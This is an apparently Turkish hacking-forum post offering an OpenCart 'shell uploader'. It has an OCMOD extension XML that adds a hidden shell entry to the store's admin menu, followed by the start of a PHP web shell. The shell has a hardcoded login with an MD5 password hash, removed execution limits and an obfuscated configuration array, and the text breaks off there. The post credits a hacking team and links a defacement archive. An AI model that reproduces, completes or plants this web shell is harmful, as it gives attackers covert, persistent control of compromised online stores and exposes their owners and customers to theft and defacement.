Opencart Siteye Shell Atma

<?xml version="1.0" encoding="utf-8"?>
<modification>
    <code>reverse-shell-00001</code>
    <name>Ghost Killer - Anka Red Team | Opencart Shell Uploader</name>
    <version>1.0</version>
    <author>Ghost Killer - TurkHackTeam.ORG </author>
    <link>http://www.zone-h.org/archive/notifier=ZoRRoKiN</link>
    <file path="admin/controller/common/column_left.php">
        <operation>
            <search><![CDATA[if ($maintenance) {]]></search>
            <add position="before"><![CDATA[
            if ($this->user->hasPermission('access', 'extension/extension/shell')) {
                $this->language->load('extension/extension/shell');
                $maintenance[] = array(
                    'name'       => $this->language->get('text_shell'),
                    'href'     => $this->url->link('extension/extension/shell', 'user_token=' . $this->session->data['user_token'], true),
                    'children' => array()
                );
            }
]]></add>
        </operation>
    </file>
</modification>

<?php

$username = "ghostprv8"; $password = "81b2c659bb4db00a3b500e854a9508cf"; $user = $_POST['user']; $pass = $_POST['pass']; $form = "<form method='POST'>
    
    
    <center>
    <h1>Ghost Killer - Login Page</h1> <br>
    <br><input type='text' name='user'>
    <br>
    <input type='password' name='pass'>
    <br>
    <br><input type='submit' value='Do you Know the Pass'>
    </form></br>";
    session_start();
    if( !isset($_SESSION['sec']) ){
        $_SESSION['sec'] = false;
    } if(isset($pass)) {
        if($user == $username and md5($pass) == $password) {
            $_SESSION['sec'] = true; }
        else {
            die( "{$form} <br> Hatali Sifre"); }
    } if(!$_SESSION['sec']): echo $form; exit(); endif;
;   

set_time_limit(0);
ini_set('memory_limit', '-1');
$ydLbyOjaJwMEe = array(
    'uspharSWBjZbER' => 'admin',
    'pakQixy' => '7bd34ddcbcc628617578bde1970f18d9',
    'sansLlkDz' => '0',
    'loiLrHCobiZTtPt' => '403',
    'shqCCSCrKDsWXz' => '1',
    'poRYrqfvfDg' => false,
    'cgQnDTfdgULmtuf' => true,
);